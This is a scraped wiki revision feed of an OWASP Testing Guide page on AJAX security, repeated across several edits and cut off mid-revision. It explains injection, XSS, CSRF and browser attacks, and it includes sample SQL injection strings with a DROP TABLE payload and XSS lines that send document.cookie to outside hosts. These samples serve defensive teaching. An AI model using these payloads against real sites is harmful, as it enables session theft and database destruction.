Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More on SQL Injection can be found at [http://www.owasp.org/index.php/SQL_Injection_AoC, SQL Injection (OWASP Testing Guide v2)].&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Client Side Injection Threats'''&amp;lt;br&amp;gt;&lt;br /&gt;
* ''XSS exploits'' can give access to any client-side data and can also modify the client-side code.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* ''DOM Injection'' - It is a type pf XSS injection which happens through the sub-objects ,document.location or document.URL or document.referrer of the Document Object Model(DOM)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;name=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Denial of Service is an old attack where an attacker or vulnerable application force the user to launch multiple XMLHttpRequests to a target application against the wishes of the user. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using image tags nested within a JavaScript loop can do the trick more effectively. AJAX being on the client-side makes the attack easier.&amp;lt;pre&amp;gt;&amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt;&amp;lt;/pre&amp;gt; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In ''Samy attack'',the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Testing ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Testing Tools ==&lt;br /&gt;
'''Charles''' &amp;lt;br&amp;gt; An HTTP proxy/monitor/Reverse Proxy that enables viewing all HTTP traffic between browser and the Internet, including requests, responses and HTTP headers (which contain the cookies and caching information). Capabilities include HTTP/SSL and variable modem speed simulation. Useful for XML development in web browsers, such as AJAX (Asynchronous Javascript and XML) and XMLHTTP, as it enables viewing of actual XML between the client and the server. Can autoconfigure browser's proxy settings on MSIE, Firefox, Safari. Java application from XK72 Ltd.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''' Ghost Train'''&amp;lt;br&amp;gt;Ghost Train is a tool to ease the development of functional tests for web sites. It’s a event recorder, and test generating and replaying add-on you can use with any web application.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Squish/Web (froglogic)'''&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.froglogic.com/squish Squish] is an automated, functional testing tool. It allows to record, edit and run web tests in different browsers (IE, Firefox, Safari, Konqueror, etc.) on different platforms without having to modify the test scripts. Supports different scripting languages for tests.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''JsUnit'''&amp;lt;br&amp;gt;JsUnit is a Unit Testing framework for client-side (in-browser) JavaScript. It is essentially a port of JUnit to JavaScript.&lt;br /&gt;
&lt;br /&gt;
== References == &lt;br /&gt;
&lt;br /&gt;
*[http://en.wikipedia.org/wiki/AJAX AJAX]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
;'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf Billy Hoffman, &amp;quot;Ajax(in) Security&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman_web.pdf Billy Hoffman, &amp;quot;Analysis of Web Application Worms and Viruses&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.spidynamics.com/assets/documents/AJAXdangers.pdf Billy Hoffman, &amp;quot;Ajax Security Dangers&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;'''Articles'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett. “Ajax: A New Approach to Web Applications”, Adaptive Path]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.webappsec.org/projects/articles/071105.html Amit Klein. &amp;quot;DOM Based Cross Site Scripting or XSS of the Third Kind : A look at an overlooked flavor of XSS&amp;quot;, Web Application Security Consortium]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11903</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11903"/>
				<updated>2006-11-06T19:10:32Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Testing Tools */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Asynchronous Javascript and XML (AJAX)''' is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its security implications.The security issues in Ajax include&amp;lt;br&amp;gt;&lt;br /&gt;
* Create a larger attack surface with many more inputs to secure&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Expose internal functions of the Web application server&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Allow a client-side script to access third-party resources with no built-in security and encoding mechanisms&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Login Information and Intrusion Detection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More on SQL Injection can be found at [http://www.owasp.org/index.php/SQL_Injection_AoC, SQL Injection (OWASP Testing Guide v2)].&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Client Side Injection Threats'''&amp;lt;br&amp;gt;&lt;br /&gt;
* ''XSS exploits'' can give access to any client-side data and can also modify the client-side code.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* ''DOM Injection'' - It is a type pf XSS injection which happens through the sub-objects ,document.location or document.URL or document.referrer of the Document Object Model(DOM)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;name=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Denial of Service is an old attack where an attacker or vulnerable application force the user to launch multiple XMLHttpRequests to a target application against the wishes of the user. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using image tags nested within a JavaScript loop can do the trick more effectively. AJAX being on the client-side makes the attack easier.&amp;lt;pre&amp;gt;&amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt;&amp;lt;/pre&amp;gt; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In ''Samy attack'',the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Testing Tools ==&lt;br /&gt;
'''Charles''' &amp;lt;br&amp;gt; An HTTP proxy/monitor/Reverse Proxy that enables viewing all HTTP traffic between browser and the Internet, including requests, responses and HTTP headers (which contain the cookies and caching information). Capabilities include HTTP/SSL and variable modem speed simulation. Useful for XML development in web browsers, such as AJAX (Asynchronous Javascript and XML) and XMLHTTP, as it enables viewing of actual XML between the client and the server. Can autoconfigure browser's proxy settings on MSIE, Firefox, Safari. Java application from XK72 Ltd.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''' Ghost Train'''&amp;lt;br&amp;gt;Ghost Train is a tool to ease the development of functional tests for web sites. It’s a event recorder, and test generating and replaying add-on you can use with any web application.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Squish/Web (froglogic)'''&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.froglogic.com/squish Squish] is an automated, functional testing tool. It allows to record, edit and run web tests in different browsers (IE, Firefox, Safari, Konqueror, etc.) on different platforms without having to modify the test scripts. Supports different scripting languages for tests.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''JsUnit'''&amp;lt;br&amp;gt;JsUnit is a Unit Testing framework for client-side (in-browser) JavaScript. It is essentially a port of JUnit to JavaScript.&lt;br /&gt;
&lt;br /&gt;
== References == &lt;br /&gt;
&lt;br /&gt;
*[http://en.wikipedia.org/wiki/AJAX AJAX]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
;'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf Billy Hoffman, &amp;quot;Ajax(in) Security&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman_web.pdf Billy Hoffman, &amp;quot;Analysis of Web Application Worms and Viruses&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.spidynamics.com/assets/documents/AJAXdangers.pdf Billy Hoffman, &amp;quot;Ajax Security Dangers&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;'''Articles'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett. “Ajax: A New Approach to Web Applications”, Adaptive Path]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.webappsec.org/projects/articles/071105.html Amit Klein. &amp;quot;DOM Based Cross Site Scripting or XSS of the Third Kind : A look at an overlooked flavor of XSS&amp;quot;, Web Application Security Consortium]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11900</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11900"/>
				<updated>2006-11-06T19:00:44Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Gray Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Asynchronous Javascript and XML (AJAX)''' is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its security implications.The security issues in Ajax include&amp;lt;br&amp;gt;&lt;br /&gt;
* Create a larger attack surface with many more inputs to secure&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Expose internal functions of the Web application server&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Allow a client-side script to access third-party resources with no built-in security and encoding mechanisms&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Login Information and Intrusion Detection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
